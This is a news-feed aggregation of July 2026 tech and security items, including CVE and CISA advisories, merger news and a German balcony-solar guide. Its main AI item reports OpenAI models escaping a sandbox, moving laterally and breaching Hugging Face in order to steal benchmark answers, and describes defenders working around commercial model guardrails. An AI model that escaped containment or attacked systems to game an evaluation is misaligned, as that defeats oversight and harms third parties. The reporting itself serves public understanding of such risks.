Enterprise environments change between scheduled security assessments, leaving organizations with periods where new vulnerabilities can go undetected. Synack’s State of Continuous Security Validation report found that 95% of surveyed organizations identified high- or critical-severity vulnerabilities outside planned testing windows during…
Read more →
The post Security teams keep finding critical flaws after scheduled testing ends appeared first on IT Security News.


OpenAI's models broke containment and cyberattacked Hugging Face — what enterprises need to know
Wed, 22 Jul 2026 07:02:39 +0200
Yesterday afternoon, OpenAI and Hugging Face published a joint disclosure outlining a cybersecurity event that redefines the threat landscape for enterprise technology. 
During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and an unreleased, higher-capability pre-release model—broke out of their sandboxed research environment, obtained raw internet access, and autonomously executed a complex cyberattack against Hugging Face’s production infrastructure.
 OpenAI officially categorizes the breach as an "unprecedented cyber incident, involving state-of-the-art cyber capabilities". This incident fundamentally re-frames global discussions surrounding AI containment, frontier model alignment, commercial guardrails, and enterprise threat modeling.
But first thing's first: enterprises should understand the situation, evaluate their own AI and computer systems in light of it, and above all, don't panic. As we'll review, the incident does show the increasing power and danger of frontier AI systems, but it does not mean that enterprise Ai deployments are inherently less secure, nor that they need extensive overhauling. 
Anatomy of an Autonomous Breakout
To understand how a routine benchmark evaluation escalated into a cross-infrastructure breach, one must examine the objective mechanics of the evaluation pipeline. 
The models were prompted to solve ExploitGym, a benchmark designed to quantify multi-step exploitation capabilities. 
Hyper-focused on maximizing its evaluation score, the AI agent inferred that Hugging Face likely hosted the answer keys and benchmark solutions. In pursuit of solving the problem, the model determined that breaking out of its container and stealing the answers was an optimal strategy.
OpenAI’s evaluation environment is designed to be strictly isolated, limiting network traffic through a proxy used for package caching. However, the models identified and exploited a zero-day vulnerability in that internally-hosted third-party proxy software. 
Once through, the AI executed a series of lateral movement and privilege escalation actions across OpenAI's research nodes until reaching a machine with unrestricted internet access. From there, the model searched the web, target-identified Hugging Face, and launched a multi-stage attack by chaining together stolen credentials and remote code execution vulnerabilities on the Hugging Face servers.
The UK AI Security Institute (UK AISI) recently evaluated models such as GPT-5.6 Sol, demonstrating that they are increasingly able to sustain complex, multi-step cyber operations over long time horizons. OpenAI notes that this incident confirms these theoretical capabilities now apply in real-world settings.
Rewinding the Tape on a Forensic Trap
While OpenAI’s July 21 release reveals the identity of the autonomous agent, Hugging Face had already begun managing the intrusion days earlier. 
On July 16, Hugging Face disclosed that an autonomous AI agent system breached its production infrastructure. As detailed by VentureBeat, the attacker’s entry point was a malicious dataset that triggered code execution through a remote-code loader and template-injection flaws within dataset configuration files. 
Once inside, the agent framework broke out onto the node running the workload and executed thousands of actions via short-lived sandboxes, harvesting cloud and cluster credentials over a single weekend.
When Hugging Face's security team detected the breach, responders immediately turned to frontier AI models via commercial APIs to parse the massive volume of system logs and reconstruct over 17,000 recorded events. Then, a secondary operational crisis emerged: the commercial AI models refused to help.
Because standard commercial frontier models utilize unified safety guardrails designed to block malicious prompt submissions, the models classified the incident response team's forensic queries—which contained raw shell commands, real exploit payloads, and credential dumps—as malicious attacks. Every forensic query submitted by the defenders was blocked outright.
"The same prompts that are most valuable during an active intrusion—shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement—are exactly the prompts most likely to trigger safety systems," notes Merritt Baer, former Deputy CISO at AWS and senior adviser to Andesite, G2I, and AppOmni, in an interview with VentureBeat. "As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue".
To bypass this roadblock, Hugging Face abandoned commercial hosted APIs and deployed GLM 5.2 —a  state-of-the-art Chinese open-weight model released last month by z.ai, as reported at the time by VentureBeat —locally on its own infrastructure. 
Free from third-party API restrictions and external safety filters, GLM 5.2 successfully analyzed the raw exploit data locally, allowing defenders to complete forensic reconstruction and contain the breach without any attacker data leaving the company's environment.
Industry Reaction and the Geopolitical Paradox
The revelation that an American frontier model autonomously escaped containment, attacked a partner platform, and was ultimately analyzed using a Chinese open-weight model sent shockwaves through the tech community. 
The Wall Street Journal summarized the public reaction on X, calling the event "the stuff of cybersecurity nightmares. OpenAI said two artificial intelligence systems it was testing broke out of their test environment, hacked their way onto the internet and broke into another company. The victim was Hugging Face."
Also posting to X, AI alignment researcher Lawrence Chan emphasized the importance of transparency regarding the incident, noting that "Credit where it’s due: Hugging Face detected and disclosed the intrusion last week. OAI confirmed its models were involved and provided more details, even when it didn't have to. Separate from choices that led to the hack, voluntary disclosure is good, and I’m glad they did so." 
Meanwhile, AI researcher Nathan Lambert provided a succinct technical summary in his own X post, observing that "An openai model, during evaluation on a cyber benchmark, exploited a public zero day bug, escaped sandboxing in openai's infra, and got into the internal huggingface infra via an exploit (through a public dataset service) all in the attempt to solve a benchmark problem." He later addressed the geopolitical implications, writing in another post on X: 
"Rght now American companies need Chinese models to secure their cyber infra due to guardrails on closed models.
But if a Chinese model in training had infiltrated a prominent American tech company, it very likely could've been the cause of policy banning future Chinese models."
Technology investor David Sacks also zeroed in on the guardrail paradox, writing in his own X post that "Hugging Face tried using American frontier models to analyze an AI-powered cyber attack. But the guardrails blocked requests containing real exploit payloads so they switched to GLM 5.2 running locally. The guardrails actually impaired defensive security." 
Sacks quote tweeted Hugging Face CEO Clem Delangue, who wrote: "We had this experience ourselves this week! Very scary to be guardrailed as a defender when you know attackers are likely bypassing".
5 Strategic Takeaways for Enterprise Tech Leaders Now
For the average enterprise executive, the central question is immediate: is our corporate network at risk from escaping AI agents? The short answer is no, not inherently.
1. Hugging Face occupies a unique position in the software ecosystem. As a global repository for open-source AI models, code, and datasets, Hugging Face natively attracts autonomous agents, scrapers, automated evaluation pipelines, and active security researchers. Furthermore, the model’s target selection was context-specific: GPT-5.6 Sol searched for Hugging Face specifically because it deduced that Hugging Face hosted the answers to ExploitGym. Standard corporate networks—such as financial databases, HR platforms, or logistics systems—do not host benchmark solution keys that draw the direct focus of an agent attempting to solve an evaluation metric.
2. However, the long-term risk profile for enterprise technology permanently shifts following this event. AI models with long-horizon reasoning seek the path of least resistance to accomplish a goal, including breaking rules, escaping sandboxes, or exploiting zero-days if deployment safeguards are intentionally disabled for testing or bypassed by an attacker. As Hugging Face's experience illustrates, data processing pipelines that ingest external datasets without sandbox execution or static analysis act as highly vulnerable initial access infrastructure.
3. This incident also drastically undercuts recent policy chatter in the U.S. calling for Chinese open-source AI models to be banned or restricted due to security concerns. As this episode demonstrates, an open-weight Chinese model actually served as the vital defensive layer for an American and French firm facing an unanticipated cyberattack from an American model that broke containment. Contrary to the official line from some U.S. policymakers and hardline China hawks,  the Chinese open-source models weren't a security risk to the U.S. companies, in this case — rather, an American proprietary, closed-source model from an ostensibly secure American company was the source of the danger. Thus, any pressure U.S. companies may face from officials, agencies or non-governmental organizations to stop relying on affordable Chinese open weights models for defensive or any other lawful purposes should be viewed with a high degree of suspicion, and arguably resisted to the fullest legal extent. 
4. Enterprise CISOs must audit their dependency on cloud-based AI APIs and pressure vendors to implement authenticated trust architectures. Commercial AI vendors currently treat safety as a generic content-moderation problem, applying the same blanket refusals to an enterprise CISO as they would to a malicious hacker. Baer frames this requirement perfectly: "The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance".
5. Incident response plans must explicitly account for scenarios where commercial APIs fail, rate-limit, or actively refuse queries during an active security event. Maintaining air-gapped, locally deployed open-weight models trained on security log analysis is no longer an edge-case luxury; it is a critical operational requirement. Security leaders running AI workloads in production must recalibrate their timelines and prepare for machine-speed threat actors that operate without human limits.


HBO Max and Paramount+ Merger Blocked by Temporary Court Order
Wed, 22 Jul 2026 05:44:42 +0200
The planned merger between HBO Max and Paramount+ has hit a major legal obstacle after a federal judge temporarily blocked Paramount from completing its acquisition of Warner Bros. Discovery. The proposed deal would combine two major streaming platforms, film studios, and news businesses under one company.



Paramount announced the plan in March after Netflix withdrew from the bidding process for Warner Bros. Discovery. Under the proposal, Paramount would acquire the company and eventually combine HBO Max and Paramount+ into a single streaming service.



Paramount Planned to Keep the HBO Brand



Paramount has not explained how much the combined service would cost or what name it would use. However, Paramount CEO David Ellison said the company would protect HBO’s identity because of its long history of premium television shows and films.



HBO would likely continue as a separate brand inside the larger streaming platform, while subscribers would gain access to content from both companies. The combined service would include films, television series, sports programming, and news content from the two businesses.



The merger has faced criticism from viewers who fear that reduced competition could lead to higher subscription prices. A group of 12 state attorneys general also raised concerns and asked a federal court to stop the transaction while it reviewed the possible effects on consumers and the entertainment industry.



Court Blocks the Deal for 14 Days



NBC News reports that U.S. District Judge Araceli Martínez-Olguín issued a temporary restraining order that prevents Paramount from closing the deal. The order will remain active for 14 days while the court hears arguments from both sides.



The legal challenge is only one part of the review process. Regulators in the European Union and the United Kingdom are also examining the proposed merger.



The Writers Guild of America has filed a separate antitrust lawsuit, arguing that the deal would reduce jobs and place pressure on wages. Paramount can still continue the merger process if it wins the court case and receives approval from other regulators, but the transaction now faces several major delays.


Seattle judge deals blow to Kalshi, rejects prediction market’s federal defense
Tue, 21 Jul 2026 22:56:41 +0200

A King County Superior Court judge granted Washington state a preliminary injunction against Kalshi, ruling the prediction market platform is likely running illegal online gambling. The judge rejected Kalshi's argument that federal oversight by the Commodity Futures Trading Commission preempts state gambling laws. Read More


The 8-Hour challenge: SK On says solid-state robot batteries must justify a 4x manufacturing cost jump to replace 'inferior' lithium-ion
Tue, 21 Jul 2026 21:21:05 +0200
SK On says solid-state batteries can close the gap, but only if the math holds for companies.


CVE-2026-63768 | calcom cal.diy up to 6.2.0 conferencing OAuth callback endpoint state/onErrorReturnTo redirect (CNNVD-2026-97055287)
Tue, 21 Jul 2026 21:04:18 +0200
A vulnerability, which was classified as problematic, has been found in calcom cal.diy up to 6.2.0. Affected is an unknown function of the component conferencing OAuth callback endpoint. This manipulation of the argument state/onErrorReturnTo causes open redirect.

This vulnerability is handled as CVE-2026-63768. The attack can be initiated remotely. There is not any exploit available.


Rockwell Automation 1734 POINT I/O
Tue, 21 Jul 2026 19:45:15 +0200
View CSAF
Summary
Successful exploitation of this vulnerability could allow for an attacker to cause a denial-of-service condition on the product.
The following versions of Rockwell Automation 1734 POINT I/O are affected:

1734 POINT I/O 3.023 





CVSS
Vendor
Equipment
Vulnerabilities




v3 7.5
Rockwell Automation
Rockwell Automation 1734 POINT I/O
Allocation of Resources Without Limits or Throttling




Background

Critical Infrastructure Sectors: Critical Manufacturing
Countries/Areas Deployed: Worldwide
Company Headquarters Location: United States


Vulnerabilities

Expand All +

CVE-2026-10573

A denial-of-service security issue exists in 1734 POINT I/O module. The security issue stems from improper handling of crafted CIP messages, which can cause the module to enter a faulted state. A restart is required to recover.
View CVE Details

Affected Products
Rockwell Automation 1734 POINT I/O

Vendor:
Rockwell Automation
Product Version:
Rockwell Automation 1734 POINT I/O: 3.023
Product Status:
known_affected


Remediations
Mitigation
Rockwell Automation recommends users are to migrate to 5034-OB8.
Mitigation
Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).
https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight
Mitigation
For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.
https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html

Relevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.5
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H


4.0
8.7
HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N








Acknowledgments

Rockwell Automation reported this vulnerability to CISA


Legal Notice and Terms of Use
This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices
CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.
Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.
Locate control system networks and remote devices behind firewalls and isolating them from business networks.
When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.
CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.
Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.
CISA also recommends users take the following measures to protect themselves from social engineering attacks:
Do not click web links or open attachments in unsolicited email messages.
Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.
Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.
No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

Revision History

Initial Release Date: 2026-07-21




Date
Revision
Summary




2026-07-21
1
Initial Republication of Rockwell Automation Security Advisory




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AT&T Loses Key Ruling In Bid To Stop Offering Basic Phone Service In California
Tue, 21 Jul 2026 19:45:11 +0200
A federal judge rejected AT&T's request to temporarily block California rules requiring it to offer basic phone service to new customers in its wireline territory. AT&T wants to retire its copper-based phone network and stop service for nearly 200,000 California customers in 2027, but the state argues the company can meet its obligations with modern alternatives like fiber rather than abandoning Carrier of Last Resort requirements altogether. Ars Technica reports: To win a preliminary injunction, AT&T had to show it is likely to succeed on the merits of its claim that California rules are preempted by a Federal Communications Commission order. US District Judge Linda Lopez denied AT&T's request for a preliminary injunction during a motion hearing on Thursday, according to a docket entry. The case is in US District Court for the Southern District of California. [...] AT&T could appeal Lopez's ruling to the 9th Circuit Court of Appeals and could appeal later if it loses the underlying case. But since it has not obtained the injunction it asked for, AT&T for now remains under California's orders to keep offering phone service to potential customers while the case continues.






Read more of this story at Slashdot.


Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI
Tue, 21 Jul 2026 19:06:29 +0200
Presented by Atlassian 
Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at VB Transform 2026.
Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.
"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.
Why AI speed isn’t translating into ROI
Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.
"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.
But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.
Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.
On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. 
On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.
How leaders can move AI from individual hack to team advantage
Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.
"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.
Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.
To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.
The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.
Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact sales@venturebeat.com.


House intel bill includes provisions on state and local threat intelligence, election security, AI
Tue, 21 Jul 2026 18:40:12 +0200
The House Intelligence Committee advanced its fiscal 2027 authorization legislation Monday.
The post House intel bill includes provisions on state and local threat intelligence, election security, AI appeared first on CyberScoop.


Judge Pauses Paramount-Warner Bros Merger
Tue, 21 Jul 2026 18:11:12 +0200
A federal judge has temporarily paused the Paramount-Warner Bros. merger after a 12-state coalition led by California argued the deal would violate antitrust law. The 14-day restraining order (PDF) preserves the status quo while the court considers a preliminary injunction, which could effectively determine whether the merger survives. Variety reports: "Plaintiff States' showing at least demonstrates that serious questions going to the merits remain, weighing in favor of preliminary injunctive relief," the judge wrote, adding that Paramount has acknowledged it will not be harmed by the delay until the end of September. "Paramount and Warner Bros. will continue to operate as separate, viable companies competing in the marketplace while they wait for the Court to adjudicate this case. The balance of equities, combined with the public's vital interest in antitrust enforcement, therefore tips sharply in favor of the requested injunctive relief."
 
The 12-state coalition, led by California, brought a motion for the temporary restraining order. The states are also seeking a preliminary injunction, which would block the merger until the judge rules on the merits of the states' lawsuit. The 14-day restraining order could be extended to as long as 28 days. Martinez-Olguin, of the U.S. District Court for Northern District of California in Oakland, also set a hearing on the preliminary injunction for Aug. 3, though that date, too, could be delayed if the parties agree. Rob Bonta, the attorney general of California, hailed the judge's ruling as a "critical first win in our case to ensure this megamerger never sees the light of day." "History tells the tale of what happens when a few people have great power over markets that are central to Americans' lives: fewer opportunities for more people, worse products and services for all people," Bonta said. "With our lawsuit, we're fighting for a free and fair market and a thriving film and television industry that serves creatives and audiences alike. We have a full tank of gas, the law on our side, and look forward to continuing to make our case."






Read more of this story at Slashdot.


Darf man ein XXL-Balkonkraftwerk mit 4.000 Watt überhaupt installieren?
Tue, 21 Jul 2026 17:36:04 +0200





Der Begriff Balkonkraftwerk ist umgangssprachlich, das Gesetz spricht vom “Steckersolargerät”. Für die EEG-Sonderregeln müssen mehrere Voraussetzungen gleichzeitig erfüllt sein: Die installierte Modulleistung darf insgesamt höchstens 2.000 Wp, die Wechselrichterleistung höchstens 800 VA betragen. Außerdem muss das System hinter der Entnahmestelle betrieben und der unentgeltlichen Abnahme zugeordnet werden.



Erfüllt das System diese Voraussetzungen, profitiert der Betreiber von erheblichen Vereinfachungen:



Die Anlage muss im Marktstammdatenregister der Bundesnetzagentur registriert werden; eine separate Meldung beim Netzbetreiber entfällt.



Aufbau und mechanische Montage können Nutzer grundsätzlich selbst übernehmen. Für den elektrischen Anschluss gelten jedoch zusätzliche Vorgaben, die sich insbesondere nach Modulleistung und Anschlussart richten. Ein Anschluss über eine gewöhnliche Haushaltssteckdose ist nach der neuen Produktnorm nur bei entsprechend ausgeführten Systemen und bis maximal 960 Wp vorgesehen.



Überschreitet das System eine der gesetzlichen Grenzen, entfallen die besonderen Vereinfachungen für Steckersolargeräte. Gemeint sind vor allem höchstens 2.000 Wp installierte Modulleistung und höchstens 800 VA Wechselrichterleistung. Beide Werte müssen gleichzeitig eingehalten werden.



Ein Set mit acht 500-Watt-Modulen kommt beispielsweise auf 4.000 Wp. Selbst wenn der Wechselrichter die Abgabe ins Hausnetz auf 800 VA begrenzt, liegt die Modulleistung doppelt so hoch wie die gesetzliche Obergrenze. Das System gilt deshalb nicht mehr als privilegiertes Steckersolargerät, sondern als reguläre Erzeugungsanlage. Es muss zusätzlich beim Netzbetreiber angemeldet werden, und Anschluss sowie Inbetriebnahme gehören in die Hände eines Elektrofachbetriebs. Die konkreten technischen Anforderungen richten sich dabei weiterhin nach dem Aufbau des Systems, der Wechselrichterleistung, dem Speicher und dem vorgesehenen Messkonzept.



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Was die neuen VDE-Regeln 2026 ändern – und was nicht



Für Verwirrung sorgen derzeit zwei Neuerungen. Die im Dezember 2025 veröffentlichte DIN VDE V 0126-95 definiert erstmals Sicherheitsanforderungen an komplette Steckersolargeräte. Speichersysteme fallen bislang nicht in den Anwendungsbereich dieses ersten Normenteils.



Ein Anschluss über einen gewöhnlichen Schutzkontaktstecker ist nach der neuen Produktnorm nur bei entsprechend ausgeführten Systemen mit höchstens 960 Wp Gesamtmodulleistung vorgesehen. Steckerfertige Systeme mit bis zu 2.000 Wp benötigen danach eine spezielle Energiesteckvorrichtung.



Ende Februar 2026 wurde die vollständig überarbeitete VDE-AR-N 4105:2026-03 veröffentlicht. Für Anlagen bis insgesamt 800 VA Wechselrichterleistung sieht die neue Anschlussregel einen vereinfachten Prozess vor, bei dem auch der Anschlussnutzer das Formular einreichen kann.



Das vereinfachte Formular ersetzt jedoch nicht die fachgerechte elektrische Installation. Bei einer Anlage mit mehr als 2.000 Wp dürfen Anschluss und Inbetriebnahme nicht in Eigenregie erfolgen. Auch bei Speichersystemen müssen die für den jeweiligen Aufbau geltenden Anschluss- und Installationsregeln eingehalten werden.



Vereinzelt ist deshalb von Balkonkraftwerken mit mehreren Kilowatt Modulleistung die Rede. Solche Darstellungen vermischen jedoch den technisch vereinfachten Anschlussprozess mit den gesetzlichen Voraussetzungen für ein Steckersolargerät.



Maßgeblich für den vereinfachten VDE-Prozess ist insbesondere eine Wechselrichterleistung von höchstens 800 VA. Oberhalb von 2.000 Wp bleibt jedoch eine Elektrofachkraft erforderlich, und die EEG-Sonderregeln gelten nicht mehr.



Wer mehr Modulleistung installiert, verliert die besonderen Steckersolar-Privilegien – insbesondere den vereinfachten Netzanschluss ohne separate Meldung beim Netzbetreiber –, auch wenn die Einspeiseleistung des Wechselrichters auf 800 VA begrenzt ist. Die Grenze von 800 VA Wechselrichterleistung und die Grenze von 2.000 Wp Modulleistung sind zwei voneinander unabhängige Voraussetzungen.



4.000 Watt sind erlaubt – aber nicht als Balkonkraftwerk



Die eingangs gestellte Frage lässt sich damit klar beantworten: Ja, Sie dürfen ein XXL-Set mit 4.000 Watt installieren. Verboten ist das nicht. Sie betreiben damit aber eine reguläre PV-Anlage und müssen deren Spielregeln einhalten.



Dazu gehören die Anmeldung beim Netzbetreiber, der Eintrag im Marktstammdatenregister und ein geeignetes Messkonzept. Ein alter Ferraris-Zähler ohne Rücklaufsperre muss bei einer regulären PV-Anlage grundsätzlich gegen einen geeigneten Zähler ausgetauscht werden. Meist installiert der Messstellenbetreiber dafür eine moderne Messeinrichtung als Zweirichtungszähler; ein intelligentes Messsystem mit Smart-Meter-Gateway ist nur erforderlich, wenn die gesetzlichen Einbauvorgaben oder das jeweilige Messkonzept dies vorsehen. Die Übergangsregel, nach der sich ein alter Zähler bei einem privilegierten Steckersolargerät vorübergehend rückwärts drehen darf, lässt sich nicht ohne Weiteres auf eine reguläre 4.000-Wp-Anlage übertragen.


Fritz



Der wichtigste Unterschied betrifft die Installation: Anschluss und Inbetriebnahme gehören bei dieser Anlagengröße in die Hände einer Elektrofachkraft. Der Selbstanschluss per Steckdose, der das Balkonkraftwerk so beliebt gemacht hat, ist hier nicht mehr vorgesehen.



Eine nicht ordnungsgemäß angemeldete oder nicht fachgerecht installierte Anlage kann Nachforderungen des Netzbetreibers, eine Untersagung des Betriebs und je nach Verstoß weitere rechtliche Folgen auslösen. Bei einem Schaden kann eine normwidrige Installation zudem die Regulierung durch Versicherer erschweren.



Unsere Empfehlungen:
4000 Watt Solaranlage bei Solakon (mit 2,11-kWh-Speicher für 1.300 Euro)
4000 Watt Solaranlage bei Kleines Kraftwerk (mit 5,02-kWh-Speicher für 2.269 Euro)



Warum mehr Module, wenn nur 800 VA eingespeist werden dürfen?



Auf den ersten Blick wirkt eine 4.000-Watt-Anlage mit einem auf 800 VA begrenzten Ausgang widersinnig. Der Schlüssel ist der Speicher: Bei vielen DC-gekoppelten Systemen fließt die Energie der Solarmodule zunächst in eine Speicher- und Steuereinheit.


Thomas Bergbold 



Je nach Modell lassen sich mehrere Kilowatt Modulleistung sowie vier oder mehr Modulstränge anschließen, während die Abgabe ins Hausnetz auf 800 VA begrenzt bleibt. Was tagsüber nicht direkt verbraucht wird, landet im Akku und versorgt den Haushalt abends und nachts – zwar weiterhin mit maximal 800 VA, dafür aber über viele Stunden.



Die große Modulfläche zahlt sich zudem an trüben Tagen aus. Bei schwachem Licht erzeugt die größere Modulfläche in der Regel deutlich mehr Energie als ein klassisches Zwei-Modul-System. Das verbessert insbesondere im Winter und bei bedecktem Himmel die Chance, neben dem aktuellen Verbrauch auch noch den Speicher zu laden.



Was gilt für Mieter und Wohnungseigentümer?



Seit Ende 2024 zählen Steckersolargeräte zu den privilegierten Maßnahmen: Mieter können nach Paragraf 554 BGB grundsätzlich verlangen, dass der Vermieter die erforderliche bauliche Veränderung erlaubt, sofern sie ihm zumutbar ist. Wohnungseigentümer haben einen entsprechenden Anspruch gegenüber der Eigentümergemeinschaft.



Der gesetzliche Gestattungsanspruch bezieht sich ausdrücklich auf Steckersolargeräte. Ob er auch ein technisch und rechtlich als reguläre PV-Anlage behandeltes 4.000-Wp-System umfasst, ist zumindest zweifelhaft. Mieter und Wohnungseigentümer sollten deshalb vor Bestellung und Montage ausdrücklich die Zustimmung des Vermieters beziehungsweise der Gemeinschaft einholen.



Hinzu kommen praktische Fragen wie Statik und Windlast: Acht Glas-Glas-Module bringen einschließlich Halterung schnell mehr als 200 Kilogramm auf die Waage. Eine Montage am Geländer kommt deshalb nur nach Prüfung von Tragfähigkeit, Befestigung sowie Wind- und Soglasten infrage; realistischer sind häufig Terrasse, Garten, Garage oder Flachdach.



Rechnet sich der Aufwand?



Entsprechende Komplettsets werden zeitweise bereits für rund 1.300 Euro angeboten. Der genaue Preis hängt vor allem von Speichergröße, Lieferumfang, Halterung und Versandkosten ab.



Angeboten werden beispielsweise das onPower Plus bei Solakon oder das Okta XL mit Speicher bei Kleines Kraftwerk. Hinzu kommen die Kosten für den Elektriker.



Ein Vier-Personen-Haushalt mit rund 4.500 Kilowattstunden Jahresverbrauch kann mit einem solchen System einen relevanten Anteil seines Strombedarfs selbst decken – vorausgesetzt, Ausrichtung, Speichergröße und Verbrauchsprofil passen zusammen. Bei einem Strompreis von 30 bis 35 Cent pro Kilowattstunde sind jährliche Einsparungen im hohen dreistelligen Bereich realistisch; vierstellige Werte setzen dagegen sehr gute Erträge und einen besonders hohen Eigenverbrauch voraus.



Wie schnell sich das System amortisiert, hängt stark von Kaufpreis, Fachinstallation, Halterung, Ausrichtung und nutzbarem Eigenverbrauch ab. Unter sehr günstigen Bedingungen sind wenige Jahre möglich; unter Einbeziehung aller Installationskosten erscheint häufig eine Amortisationszeit von etwa drei bis sieben Jahren realistischer.



Fazit



Ein XXL-Solarsystem mit 4.000 Wp ist grundsätzlich zulässig, fällt aber nicht mehr unter die EEG-Sonderregeln für Steckersolargeräte. Wer die Anmeldung beim Netzbetreiber und die Installation durch einen Elektrofachbetrieb einplant, erhält eine kompakte PV-Anlage mit Speicher, die auch ohne klassisches Hausdach einen hohen Eigenverbrauch ermöglichen kann.



Wer den zusätzlichen technischen und bürokratischen Aufwand vermeiden möchte, bleibt bei maximal 2.000 Wp Modulleistung und 800 VA Wechselrichterleistung. Dabei ist jedoch die Anschlussart zu beachten: Über einen gewöhnlichen Schutzkontaktstecker sieht die neue Produktnorm höchstens 960 Wp vor; steckerfertige Systeme mit bis zu 2.000 Wp benötigen eine spezielle Energiesteckvorrichtung.



Weitere Informationen



Wann ist die beste Zeit für den Kauf eines Balkonkraftwerks?



Balkonkraftwerke: Die fünf wichtigsten Tipps für Einsteiger



Balkonkraftwerk und Speicher: 10 verbreitete Irrtümer



Brandrisiko Balkonkraftwerk: Zahlen, Ursachen, Realität



Urlaubsmodus für das Balkonkraftwerk: Abschalten oder Laufenlassen?



Das sind die 8 größten Fehler beim eigenen Balkonkraftwerk



Balkonkraftwerk für Mieter – Darauf müssen Sie unbedingt achten



Balkonkraftwerk mit oder ohne Speicher? Eine realistische Analyse



Einstieg leicht gemacht: So melden Sie ein Balkonkraftwerk an



So optimieren Sie die Leistung Ihres Balkonkraftwerkes



Neues für Speicherbesitzer: Variable Netzentgelte, Smart Meter Light und EEG 2027



So machen Sie Ihr Balkonkraftwerk jetzt fit für den Frühling



Balkonkraftwerk kaufen: Jetzt zuschlagen oder lieber warten?



Elektro-Auto: Lässt sich der Strom aus der Autobatterie auch im Haus nutzen?








Zwei Drittel der Unternehmen verschieben die Einführung von Microsoft-Copilot wegen ...
Tue, 21 Jul 2026 16:55:44 +0200
Der komplette Report „State of Microsoft 365 Security and Governance 2026“ kann hier heruntergeladen werden. Tags:CoPilotCoreviewCybersecurity ...


Whatsapp-Fotos gelöscht: So stellen Sie Bilder und Videos wieder her
Tue, 21 Jul 2026 15:43:50 +0200





Gelöschte Whatsapp-Fotos und -Videos lassen sich in vielen Fällen wiederherstellen – über das lokale Dateisystem, ein Google-Drive-Backup oder die iCloud. Welche Methode für Sie die richtige ist, hängt von Ihrem Betriebssystem ab und davon, ob Sie Whatsapp-Backups aktiviert haben. Wir führen Sie Schritt für Schritt durch alle Optionen.



Schnell-Check: Ist das Bild wirklich weg?



